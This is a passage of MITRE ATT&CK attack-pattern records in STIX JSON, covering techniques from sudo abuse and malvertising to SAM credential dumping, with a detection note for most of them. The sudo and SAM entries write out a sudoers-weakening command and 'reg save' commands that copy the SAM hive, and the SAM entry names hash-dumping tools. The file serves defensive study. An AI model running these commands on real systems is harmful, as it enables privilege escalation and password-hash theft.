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            "modified": "2025-04-25T14:45:52.631Z",
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            "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
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                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "created": "2020-01-30T14:34:44.992Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/003",
                    "external_id": "T1548.003"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "cybereason osx proton",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
                }
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            "modified": "2025-04-25T14:45:52.996Z",
            "name": "Sudo and Sudo Caching",
            "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: Process Metadata"
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        },
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "created": "2020-02-20T21:09:55.995Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/003",
                    "external_id": "T1560.003"
                },
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
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            "modified": "2025-04-15T21:50:49.814Z",
            "name": "Archive via Custom Method",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",
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            "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.0",
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                "File: File Creation",
                "Script: Script Execution"
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            "type": "attack-pattern",
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            "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
            "created": "2019-08-30T18:03:05.864Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578",
                    "external_id": "T1578"
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                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
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            "modified": "2025-04-15T22:49:33.134Z",
            "name": "Modify Cloud Compute Infrastructure",
            "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
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            "x_mitre_deprecated": false,
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                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Instance: Instance Creation",
                "Volume: Volume Metadata",
                "Instance: Instance Start",
                "Cloud Service: Cloud Service Metadata",
                "Volume: Volume Creation",
                "Snapshot: Snapshot Modification",
                "Snapshot: Snapshot Metadata",
                "Volume: Volume Deletion",
                "Snapshot: Snapshot Deletion",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869",
            "created": "2024-03-28T03:29:35.616Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/008",
                    "external_id": "T1584.008"
                },
                {
                    "source_name": "Wired Russia Cyberwar",
                    "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.",
                    "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"
                },
                {
                    "source_name": "Mandiant Fortinet Zero Day",
                    "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "Justice GRU 2024",
                    "description": "Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation\u2019s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.",
                    "url": "https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian"
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            "modified": "2025-04-15T22:51:26.650Z",
            "name": "Network Devices",
            "description": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            "x_mitre_contributors": [
                "Gavin Knapp"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096",
            "created": "2023-02-21T20:46:57.170Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/008",
                    "external_id": "T1583.008"
                },
                {
                    "source_name": "BBC-malvertising",
                    "description": "BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.",
                    "url": "https://www.bbc.com/news/technology-12891182"
                },
                {
                    "source_name": "FBI-search",
                    "description": "FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.",
                    "url": "https://www.ic3.gov/Media/Y2022/PSA221221"
                },
                {
                    "source_name": "sentinelone-malvertising",
                    "description": "Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.",
                    "url": "https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/"
                },
                {
                    "source_name": "spamhaus-malvertising",
                    "description": "Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.",
                    "url": "https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/"
                },
                {
                    "source_name": "Masquerads-Guardio",
                    "description": "Tal, Nati. (2022, December 28). \u201cMasquerAds\u201d \u2014 Google\u2019s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.",
                    "url": "https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e"
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            "modified": "2025-04-15T22:47:29.928Z",
            "name": "Malvertising",
            "description": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ",
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                "Manikantan Srinivasan, NEC Corporation India",
                "Pooja Natarajan, NEC Corporation India",
                "Juan Carlos Campuzano - Mnemo-CERT"
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "created": "2017-05-31T21:30:55.471Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1069",
                    "external_id": "T1069"
                },
                {
                    "source_name": "K8s Authorization Overview",
                    "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.",
                    "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/"
                },
                {
                    "source_name": "CrowdStrike BloodHound April 2018",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.",
                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"
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            "modified": "2025-04-15T22:56:59.585Z",
            "name": "Permission Groups Discovery",
            "description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)",
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                "Yuval Avrahami, Palo Alto Networks",
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            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Office Suite",
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            ],
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "created": "2017-05-31T21:31:25.454Z",
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                    "url": "https://attack.mitre.org/techniques/T1114",
                    "external_id": "T1114"
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                {
                    "source_name": "CISA AA20-352A 2021",
                    "description": "CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a"
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
                },
                {
                    "source_name": "TrustedSec OOB Communications",
                    "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
                    "url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"
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            "modified": "2025-04-15T22:26:37.477Z",
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            "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ",
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            "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Office Suite"
            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content",
                "Network Traffic: Network Connection Creation",
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "created": "2020-02-11T18:42:07.281Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/002",
                    "external_id": "T1003.002"
                },
                {
                    "source_name": "GitHub Creddump7",
                    "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
                    "url": "https://github.com/Neohapsis/creddump7"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:04:51.689Z",
            "name": "Security Account Manager",
            "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs",
                "Olaf Hartong, Falcon Force"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1",
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                "Command: Command Execution",
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                "Windows Registry: Windows Registry Key Access",
                "File: File Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f",
            "created": "2020-10-02T16:56:49.744Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/002",
                    "external_id": "T1596.002"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:20:02.082Z",
            "name": "WHOIS",
            "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
            "created": "2019-12-19T19:43:34.507Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/001",
                    "external_id": "T1542.001"
                },
                {
                    "source_name": "McAfee CHIPSEC Blog",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
                },
                {
                    "source_name": "MITRE Copernicus",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
                },
                {
                    "source_name": "Intel HackingTeam UEFI Rootkit",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
                },
                {
                    "source_name": "Github CHIPSEC",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "url": "https://github.com/chipsec/chipsec"
                },
                {
                    "source_name": "About UEFI",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "url": "http://www.uefi.org/about"
                },
                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
                },
                {
                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
                },
                {
                    "source_name": "Wikipedia BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "url": "https://en.wikipedia.org/wiki/BIOS"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:09.046Z",
            "name": "System Firmware",
            "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
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                {
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                    "phase_name": "persistence"
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Jean-Ian Boutin, ESET",
                "McAfee",
                "Ryan Becwar"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Network Devices"
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            "x_mitre_version": "1.2",
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                "Firmware: Firmware Modification"
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            "type": "attack-pattern",
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            "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
            "created": "2020-10-02T16:51:50.306Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1594",
                    "external_id": "T1594"
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                {
                    "source_name": "Perez Sitemap XML 2023",
                    "description": "Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.",
                    "url": "https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a"
                },
                {
                    "source_name": "Comparitech Leak",
                    "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.",
